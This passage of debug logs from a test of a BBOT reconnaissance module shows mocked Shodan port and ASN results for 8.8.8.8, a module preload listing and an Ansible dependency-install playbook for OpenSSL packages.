module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,262 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:03:08,262 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,263 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:03:08,263 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:03:08,263 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,264 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:03:08,264 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,265 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,265 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,266 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:03:08,266 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:03:08,266 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:03:08,267 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:03:08,267 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 17:03:08,349 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:03:08,350 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,351 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:03:08,352 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,352 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:03:08,353 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,353 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 17:03:08,353 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:03:08,354 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 17:03:08,355 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 17:03:08,355 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 17:03:08,356 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 17:03:08,357 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 17:03:08,357 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 17:03:08,358 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 17:03:08,358 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 17:03:08,458 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 17:03:08,460 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 17:03:08,478 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 17:03:08,479 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 17:03:08,479 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 17:03:08,487 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 17:03:08,487 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 17:03:08,488 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 17:03:08,489 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 17:03:08,490 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 17:03:08,490 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 17:03:08,606 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_i36zm0yzpu completed in 0 seconds with status FINISHED -2026-03-01 17:03:08,606 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 17:03:08,607 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:03:08,608 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events -2026-03-01 17:03:08,608 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 17:03:08,608 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] -2026-03-01 17:03:08,608 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected -2026-03-01 17:03:08,609 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] -2026-03-01 17:03:08,609 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected -2026-03-01 17:03:08,609 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events -2026-03-01 17:03:08,609 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} -2026-03-01 17:03:08,609 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-01 17:03:08,610 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-01 17:04:16,928 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 17:04:16,938 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 17:04:16,939 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 17:04:16,939 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 17:04:16,940 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 17:04:16,941 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 17:04:16,942 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 17:04:16,943 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 17:04:16,944 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 17:04:16,945 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 17:04:16,946 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 17:04:16,947 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 17:04:16,948 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 17:04:16,951 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 17:04:16,952 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 17:04:16,953 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 17:04:16,954 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 17:04:16,955 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 17:04:16,956 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 17:04:16,957 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 17:04:16,958 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 17:04:16,959 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 17:04:16,959 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 17:04:16,960 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 17:04:16,960 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 17:04:16,961 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 17:04:16,962 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 17:04:16,962 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 17:04:16,963 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 17:04:16,963 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 17:04:16,964 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 17:04:16,965 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 17:04:16,966 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 17:04:16,966 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 17:04:16,970 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 17:04:16,971 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 17:04:16,972 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 17:04:16,972 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 17:04:16,973 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 17:04:16,974 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 17:04:16,974 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 17:04:16,975 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 17:04:16,976 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 17:04:16,976 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 17:04:16,977 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 17:04:16,978 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 17:04:16,978 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 17:04:16,979 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 17:04:16,980 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 17:04:16,980 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 17:04:16,981 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 17:04:16,982 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 17:04:16,982 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 17:04:16,983 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 17:04:16,983 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 17:04:16,984 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 17:04:16,985 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 17:04:16,985 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 17:04:16,986 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 17:04:16,986 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 17:04:16,992 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 17:04:16,993 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 17:04:16,994 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 17:04:16,994 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 17:04:16,995 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 17:04:16,996 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 17:04:16,997 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 17:04:16,997 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 17:04:16,998 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 17:04:16,999 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 17:04:17,000 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 17:04:17,000 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 17:04:17,001 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 17:04:17,002 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 17:04:17,002 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 17:04:17,003 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 17:04:17,004 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 17:04:17,004 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 17:04:17,005 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 17:04:17,005 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 17:04:17,006 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 17:04:17,006 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 17:04:17,007 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 17:04:17,007 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 17:04:17,008 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 17:04:17,009 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 17:04:17,009 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 17:04:17,011 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 17:04:17,011 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 17:04:17,012 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 17:04:17,013 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 17:04:17,013 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 17:04:17,014 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 17:04:17,014 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 17:04:17,015 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 17:04:17,015 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 17:04:17,016 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 17:04:17,016 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 17:04:17,017 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 17:04:17,018 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 17:04:17,018 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 17:04:17,019 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 17:04:17,020 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 17:04:17,020 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 17:04:17,021 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 17:04:17,021 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 17:04:17,022 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 17:04:17,022 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 17:04:17,023 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 17:04:17,024 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 17:04:17,024 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 17:04:17,025 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 17:04:17,025 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 17:04:17,027 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 17:04:17,027 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 17:04:17,028 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 17:04:17,028 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 17:04:17,029 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 17:04:17,029 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 17:04:17,030 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 17:04:17,030 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 17:04:17,031 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 17:04:17,032 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 17:04:17,033 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 17:04:17,033 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 17:04:17,034 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 17:04:17,034 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 17:04:17,035 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 17:04:17,036 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 17:04:17,036 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 17:04:17,037 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 17:04:17,037 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 17:04:17,038 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 17:04:17,039 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 17:04:17,039 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 17:04:17,040 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 17:04:17,040 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 17:04:17,041 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 17:04:17,041 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 17:04:17,042 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 17:04:17,042 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 17:04:17,043 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 17:04:17,044 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 17:04:17,045 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 17:04:17,045 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 17:04:17,045 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 17:04:17,046 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 17:04:17,047 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 17:04:17,047 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 17:04:17,048 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 17:04:17,049 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 17:04:17,050 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 17:04:17,051 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 17:04:17,051 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 17:04:17,052 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 17:04:17,054 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 17:04:17,054 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 17:04:17,055 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 17:04:17,056 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 17:04:17,057 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 17:04:17,057 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 17:04:17,058 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 17:04:17,058 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 17:04:17,059 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 17:04:17,060 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 17:04:17,061 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 17:04:17,062 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 17:04:17,063 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 17:04:17,063 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 17:04:17,064 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 17:04:18,160 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:04:18,160 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:04:18,161 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 17:04:18,299 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 17:04:18,877 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 17:04:18,878 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 17:04:18,878 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 17:04:18,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 17:04:19,083 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 17:04:19,085 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 17:04:19,195 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 17:04:19,195 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 17:04:19,249 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 17:04:19,252 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 17:04:19,253 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 17:04:19,676 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 17:04:19,677 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 17:04:22,078 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 17:04:22,079 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 17:04:22,079 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": 